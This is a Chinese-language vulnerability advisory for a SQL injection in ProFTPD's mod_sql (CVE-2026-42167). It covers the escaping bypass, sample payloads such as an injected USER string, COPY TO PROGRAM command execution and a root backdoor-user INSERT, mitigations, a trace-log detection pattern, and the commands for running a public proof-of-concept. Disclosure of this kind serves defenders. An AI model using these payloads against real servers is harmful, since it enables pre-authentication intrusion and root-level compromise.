| 属性 | 值 |
|---|
| 类型 | SQL 注入(CWE-89) |
| 严重性 | 高/严重 |
| CVSS v3 | 8.1 |
| 组件 | ProFTPD < 1.3.9a 中的 mod_sql |
| 报告方 | ZeroPath Research |
| 日期 | 2026 年 4 月 28 日 |
is_escaped_text() 中的弱验证ProFTPD 使用 is_escaped_text() 函数来确定某个值在插入 SQL 查询之前是否已被清理。该函数假定任何满足以下条件的输入:
' 开头' 结尾...已被转义,无需进一步处理。
攻击者可以发送恶意用户名,例如:
USER ' || (SELECT 1) ||'
当它被插入到如下 SQL 查询中时:
INSERT "'%U', '%r', '%m'" activity_log
会产生:
INSERT "'' || (SELECT 1) || ''" activity_log
该 payload 会作为任意 SQL 执行,因为 || 运算符将注入命令周围的空字符串连接起来。
要求:
%U 或 %{basename} 变量的 SQL 日志记录技术:
COPY (SELECT 1) TO PROGRAM '恶意命令'
以 postgres 用户身份执行操作系统级命令。
要求:
SQLAuthenticateSQLLog ERR_*(预认证)中使用 %U 变量的 SQL 日志记录技术:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
攻击者注入一个具有 uid=0(root)且可访问整个文件系统的后门用户。
要求:
技术: 基于时间的盲 SQL 注入,逐字符提取凭据。
| 变量 | 含义 | 范围 |
|---|---|---|
%U | 原始用户名(认证前) | 预认证 |
%A | 匿名登录密码 | 预认证 |
%J | 命令参数 | 预认证 |
%m | FTP 动词(STOR、RETR 等) | 预认证 |
%{basename} | 文件名的组成部分 | 认证后 |
%l | ident 响应(RFC 1413) | 预认证(如果 identd 可用) |
预认证(最严重):
%U + SQLLog ERR_* → 无需凭据
认证后:
%{basename} + SQLLog STOR → 需要任何有效的 FTP 用户
立即升级到 ProFTPD 1.3.9a 或更高版本:
# 检查当前版本
proftpd -v
# 升级(以 Debian/Ubuntu 为例)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
如果无法立即升级:
# 注释或删除 proftpd.conf 中的这些行
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- 在 PostgreSQL 中,创建没有超级用户权限的用户
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- 不要授予 SUPERUSER
TraceLog /var/log/proftpd/trace.log
Trace sql:17
在 ProFTPD 的跟踪日志中搜索(启用 Trace sql:17):
text 'payload' is already escaped, skipping escaping it again
此消息表示绕过尝试已被易受攻击的引擎处理。
# 启用详细跟踪
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# 重启 ProFTPD
sudo systemctl restart proftpd
# 监控日志
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| 版本 | 状态 |
|---|---|
| < 1.3.9 | ❌ 易受攻击 |
| 1.3.9 | ❌ 易受攻击 |
| ≥ 1.3.9a | ✅ 已修补 |
| ≥ 1.3.10rc1 | ✅ 已修补 |
# 克隆仓库
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# 要求
# - Docker
# - Git
# - Python 3.10+
# - uv(Python 包管理器)
# 配置易受攻击的环境
cd setup
./setup.sh
# 运行 PoC
cd ../pocs
python3 preauth_user_backdoor.py # 注入后门用户(预认证)
python3 preauth_user_rce.py # 通过 COPY TO PROGRAM 实现 RCE(预认证)
python3 postauth_stor_backdoor.py # 注入用户(认证后)
python3 postauth_stor_rce.py # RCE(认证后)
# 清理
cd ../setup
./teardown.sh
| 日期 | 事件 |
|---|---|
| 2026-03-28 | 向 ProFTPD 报告漏洞 |
| 2026-04-07 | 验证并开发补丁 |
| 2026-04-24 | 分配 CVE-2026-42167 |
| 2026-04-27 | 发布补丁(提交 af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | 发布 ProFTPD 1.3.9a |
SQLLog 配置最后更新: 2026 年 4 月 28 日
来源: ZeroPath Research、MITRE CVE、NVD